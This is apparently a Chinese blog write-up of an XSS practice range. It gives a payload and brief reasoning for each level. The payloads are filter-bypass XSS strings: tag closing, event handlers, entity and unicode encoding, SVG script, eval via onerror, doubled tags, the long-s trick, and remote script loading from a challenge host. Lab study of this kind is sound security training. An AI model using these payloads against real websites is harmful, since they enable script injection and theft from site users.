XSS中级漏洞(靶场)

目录

一、环境

二、正式开始闯关

0x01

0x02

0x03

0x04

0x05

0x06

0x07

0x08

0x0B

0x0C

0x0D

0x0E

​ 0x0F

0x10

0x11

0x12


一、环境

在线环境(gethub上面的)

alert(1)

二、正式开始闯关

0x01

源码:

思路:闭合标签注入

复制代码
</textarea><script>alert(1)</script>

0x02

源码:

思路:跟上一题一样

复制代码
1" onclick="alert(1)

也可以用户不参与去触发给后面加一个标签就可以了

复制代码
1"><script>alert(1)</script>

0x03

源码:

思路: 有一个正则把括号过滤掉了,用html实体转码

很明显不行,那试一下<a>标签

复制代码
<a href="javascript:alert&#40;1&#41;">aaaaa</a>

很容易过了

原因:编码是有顺序的,urlcode-->html实体编码--->unicode实体编码

第二种方法:括号替换

复制代码
<script>alert`1`</script>

0x04

刚才第三关的第一种做法是照样绕过的

svg标签是照样绕过的

复制代码
<svg><script>alert&#40;1&#41</script></svg>

svg和html是不同的命名空间,在svg中script是可以实现一个实体编码的

还有一种方法Windows.oneror

复制代码
<script>window.onerror=eval;throw'=alert\u00281\u0029'</script>

throw是抛异常的,我们再用eval接到,在throw下可以支持符号编码

0x05

闭合输出

复制代码
--!><script>alert(1)</script>

0x06

利用点:html支持换行

因为on和等号是整体所以加了等号

复制代码
onclick
=alert(1)

还有一种用户不参与的方式

复制代码
type=image src=1 onerror
=alert(1)

0x07

利用html自动纠错

复制代码
<img src=1 onerror="alert(1)"
复制代码
<svg/onload="alert(1)"

0x08

源码:

解法:固定过滤,利用空格

0x09

一个小技巧

复制代码
https://www.segmentfault.com.haozi.me/j.js

很明显

0x0A

跟上一关一样,解析顺序,解析的时候已经被实体编码转译了

0x0B

我们正常操作无法绕过直接进行实体编码,直接也就过了

复制代码
</h1><svg><script>&#x61;&#x6c;&#x65;&#x72;&#x74;(1)</script>

单标签也可以绕过

复制代码
<img src=1 onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

0x0C

单标签也可以绕过

复制代码
<img src=1 onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

双写也可以绕过

复制代码
<scrscriptipt src="https://www.segmentfault.com.haozi.me/j.js"></scrscriptipt>

0x0D

技巧:写在前面可以注释,写在后面无法注释了

复制代码
alert(1)
-->

0x0E

技巧:字符替换

长s字符:ſ

复制代码
<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>

0x0F

原理:先编码再解码

复制代码
');alert('1

0x10

先闭合掉

复制代码
1;alert(1)

0x11

利用替换两个反斜杠

复制代码
");alert("1

0x12

转义符没有被过滤

复制代码
\"); alert(1); //

第二种方法:通过闭合前面script标签来再输入script标签

复制代码
</script> <script>alert(1)</script><script>
相关推荐
架构技术专栏2 小时前
Agent 工具调用:从工具声明到执行反馈
前端·人工智能·后端
天行健,君子而铎3 小时前
数据分类分级的范式转换:从规则匹配到场景化高准确率一键部署
网络·数据库·安全
别动我齐刘海3 小时前
C++ 工程化学习
java·linux·前端·c++·学习·机器学习·机器人
砚凝霜3 小时前
【软考信息安全】第十章 入侵检测概述与原理分类
人工智能·安全·数据挖掘
志尊宝4 小时前
Vue3 零基础每日笔记(071):暗黑模式与主题切换——CSS 变量 + Element Plus 暗黑方案
前端·css·笔记·vue·html·前端开发·软件开发
刘发财4 小时前
前端如何生成10000页PDF文件?
前端·javascript·开源
A接拉起0075 小时前
2026 年 JavaScript 开发者需要了解的知识
前端·javascript·后端
用户11481867894845 小时前
面试官:大屏项目里十几个模块同时渲染上万条数据,怎么做到不卡?
前端·性能优化
前端市界5 小时前
Pro React Admin: 统一工程底座,承载多种应用...
前端·github
葡萄城技术团队5 小时前
dsh-spreadjs-editor 当前支持什么:安装前需要了解的几件事
前端